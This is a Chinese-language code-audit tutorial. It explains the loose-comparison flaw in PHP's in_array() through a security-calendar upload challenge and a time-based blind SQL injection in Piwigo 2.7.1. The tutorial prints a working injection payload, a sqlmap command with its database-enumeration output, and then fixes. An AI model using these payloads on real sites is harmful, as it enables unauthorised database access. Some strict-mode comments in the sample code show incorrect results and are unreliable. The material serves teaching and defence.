程式碼審計學習01-in_array() 函式缺陷
一、開始程式碼審計之旅 01
從今天起,學習程式碼審計了,這篇文章就叫程式碼審計01吧,題目來自 PHP SECURITY CALENDAR 2017 的第一題,結合 紅日安全 寫的文章,開始吧。
二、先看這道題目
1、題目名稱:Wish List
2、in_array() 函式的作用
in_array() 函式的作用是判斷第一引數是否存在第二個引數中,存在返回 true,不存在返回 false。需要注意的是,如果函式第三個引數為 true,則第一個引數必須還要和第二個引數同類型,函式才能返回 true。不寫第三個引數,在一些情況下函式會發生強制轉換,題目的漏洞就出在這裡。
3、題目漏洞解析
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file($this->file['tmp_name'], self::UPLOAD_DIRECTORY . $this->file['name']);
}
in_array() 函式並只簡單判斷檔名是否存在白名單中,並沒有將第三個引數設定為 true,攻擊者可以上傳一個 5backdoor.php
的檔案,其檔名為 5backdoor
,in_array() 函式將檔名強制轉換為 5
,符合 ranger(1,24) 的白名單條件,5backdoor.php
4、in_array() 的擴充套件知識
in_array 的一段程式碼,可以明確看到非嚴格模式與嚴格模式下的區別:
<?php $array = array( 'egg' => true, 'cheese' => false, 'hair' => 765, 'goblins' => null, 'ogres' => 'no ogres allowed in this array' ); // Loose checking -- return values are in comments // First three make sense, last four do not var_dump(in_array(null, $array)); // true var_dump(in_array(false, $array)); // true var_dump(in_array(765, $array)); // true var_dump(in_array(763, $array)); // true var_dump(in_array('egg', $array)); // true var_dump(in_array('hhh', $array)); // true var_dump(in_array(array(), $array)); // true // Strict checking var_dump(in_array(null, $array, true)); // true var_dump(in_array(false, $array, true)); // true var_dump(in_array(765, $array, true)); // true var_dump(in_array(763, $array, true)); // false var_dump(in_array('egg', $array, true)); // false var_dump(in_array('hhh', $array, true)); // false var_dump(in_array(array(), $array, true)); // false ?>
三、結合一個案例
選取 piwigo2.7.1
內容管理系統的一個 SQL 注入漏洞來分析
1、漏洞原理分析
漏洞涉及檔案:include/functions_rate.inc.php
,include/config_default.inc.php
,以及根目錄下的picture.php
。
picture.php
關鍵程式碼:
if (isset($_GET['action']))
{
switch ($_GET['action'])
/*****************中間省略*********************/
case 'rate' :
{
include_once(PHPWG_ROOT_PATH.'include/functions_rate.inc.php');
rate_picture($page['image_id'], $_POST['rate']);
redirect($url_self);
}
/*****************中間省略*********************/
}
include/functions_rate.inc.php
關鍵程式碼
function rate_picture($image_id, $rate)
{
global $conf, $user;
if (!isset($rate)
or !$conf['rate']
or !in_array($rate, $conf['rate_items']))
{
return false;
}
/*****************中間省略*********************/
if ($user_anonymous)
{
$query.= ' AND anonymous_id = \''.$anonymous_id.'\'';
}
pwg_query($query);
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
return update_rating_score($image_id);
}
include/config_default.inc.php
關鍵程式碼
$conf['rate_items'] = array(0,1,2,3,4,5);
通過上述程式碼分析,當引數 action=rate時會呼叫 include/functions_rate.inc.php
的 rate_picture($image_id, $rate)
函式,由於函式中的 in_array($rate, $conf['rate_items']))
沒有將第三個引數設定因為 true,檢查不嚴格,導致變數 $rate
變數可控,將 $rate
設定為 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
那麼 SQL 語句就會變成:
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date)
VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ;
基於時間的 SQL 盲注就產生了。
2、漏洞證明
用 SQL 注入工具 sqlmap 證明漏洞,payload 如下:
python2 sqlmap.py -u "http://192.168.203.131/piwigo/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch
漏洞驗證返回結果:
[20:45:34] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://192.168.203.131:80/piwigo/picture.php?/1/category/1'. Do you want to follow? [Y/n] Y
redirect is a result of a POST request. Do you want to resend original POST data to a new location? [Y/n] Y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: rate (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: rate=1 AND SLEEP(5)
---
[20:45:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[20:45:37] [INFO] fetching database names
[20:45:37] [INFO] fetching number of databases
[20:45:37] [INFO] resumed: 5
[20:45:37] [INFO] resumed: information_schema
[20:45:37] [INFO] resumed: mysq
[20:45:37] [INFO] resumed: mysql
[20:45:37] [INFO] resumed: performance_schema
[20:45:37] [INFO] resumed: piwigo271
available databases [5]:
[*] information_schema
[*] mysq
[*] mysql
[*] performance_schema
[*] piwigo271
3、修復建議
方法1:將 in_array() 函式的第三個引數設定為 true;
方法2:使用 intval() 函式將變數將轉為數字;
方法3:使用正則表示式過濾,只限製為數字(官方修改是用這種方法)。